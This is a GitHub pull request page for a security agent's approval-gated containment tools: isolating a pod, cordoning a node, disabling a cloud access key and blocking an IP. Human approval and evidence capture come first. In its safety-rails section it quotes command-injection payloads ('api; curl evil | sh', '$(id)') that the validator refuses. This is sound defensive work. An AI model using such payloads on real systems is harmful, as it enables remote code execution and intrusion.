Repository navigation
feat(security): approval-gated containment — isolate pod, cordon node, disable key, block IP (Fixes #168) - #202
Merged
Conversation
…, disable key, block IP (#168) - tools/containment.py: isolate_pod (label + deny-all NetworkPolicy for that label, pod keeps running), cordon_node (no drain), disable_access_key (AWS Inactive + revoke older sessions, GCP disable) and block_ip (AWS NACL, GCP firewall, Azure NSG, /24 or /64 at most, expiry). - Each request validates the target strictly, saves evidence with fixed read-only commands to the incident logs, then only retains the exact change behind an approval reference and posts it to Slack (approver allowlist, decision recorded) - whatever AUTO_APPLY says. Reverse commands are recorded; removing rules stays a human action since the agent never deletes. - In MUTATING_AGENT_TOOLS: blocked by the emergency stop and the prompt- injection lock. dry_run shows the change without evidence or approval. - CONTAINMENT_PROTECTED_CIDRS; expired IP blocks get one Slack reminder with the reverse command (CONTAINMENT_REMINDER_INTERVAL_SEC). - Security playbook prompt and docs/THREAT_DETECTION.md updated. Fixes #168
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Fixes #168.
The agent can now request containment for a confirmed compromise. A human always approves it in Slack, and nothing deletes evidence.
Tools
isolate_poddevops-agent/quarantine=<id>and apply a deny-all ingress+egressNetworkPolicythat selects only that label, so sibling replicas aren't affected. The pod keeps running for forensics.describe, logs (current and previous), eventscordon_nodekubectl cordon(no drain)describe, pods on the nodekubectl uncordondisable_access_keyupdate-access-key --status Inactive, plus an inline deny policy withaws:TokenIssueTime< now, which revokes sessions already issued. GCP:keys disable.list-access-keys,get-access-key-last-used, user policies / GCP key listActiveagain and delete the policy, orkeys enableblock_ip--disabled). A Slack reminder is sent at expiry.How the issue's requirements are met
AUTO_APPLYsays: the change is stored withCommandApprovalStore().retain()and posted withsend_approval_request. The existing/slack/actionpath enforcesSLACK_APPROVER_IDSand records who approved. The tool itself never runs a mutation; a test asserts this withAUTO_APPLY=true.dry_run=truereturnschangeandreversewithout saving evidence or asking for approval. The Slack message also shows both.evidence-<action>.jsonin the incident's logs. Secret values are scrubbed (and fix(security): approval for secret reads + redact secret values from tool output (Fixes #191) #201 covers secret reads).containment-<action>.json. Removing a rule is a delete, which the agent never runs (fix(security): permanently block destructive commands; AUTO_APPLY no longer bypasses approval #186), so undoing is a human action with the exact command provided.MUTATING_AGENT_TOOLS: all four tools are added, so the emergency stop and the prompt-injection tool lock refuse them. Attacker-written text can't choose a target.Safety rails on the targets
AKIA/ASIAkey IDs, IAM user names, GCP service-account emails and key IDs, resource IDs. Everything is alsoshlex-quoted. Payloads such asapi; curl evil | shand$(id)are refused before anything runs.block_iprefuses0.0.0.0/0, anything wider than /24 (IPv4) or /64 (IPv6), and loopback, link-local (including169.254.169.254), multicast and unspecified addresses. It also refuses anything overlappingCONTAINMENT_PROTECTED_CIDRS(office, VPN, load balancers, CI runners).Expiry
block_iprecordsexpires_atunder{org}/containment_expiry/. A background loop (CONTAINMENT_REMINDER_INTERVAL_SEC, default 300) posts one reminder per expired block to that org's Slack, with the reverse command.Prompt and docs
docs/THREAT_DETECTION.mdhas a new "Containment (approval-gated)" section, and [FEATURE] Approval-gated containment: isolate pod, cordon node, disable key, block IP (evidence first) #168 is removed from "Not yet included"..env.exampledocuments the two new settings.Tests
tests/test_containment.py, 30 tests:block_ipfor each provider, dangerous targets, protected ranges and bad expiry.AUTO_APPLY=truestill only requests approval.Full suite: 1395 passed, 4 skipped. Flake8 (CI selection) and bandit are clean.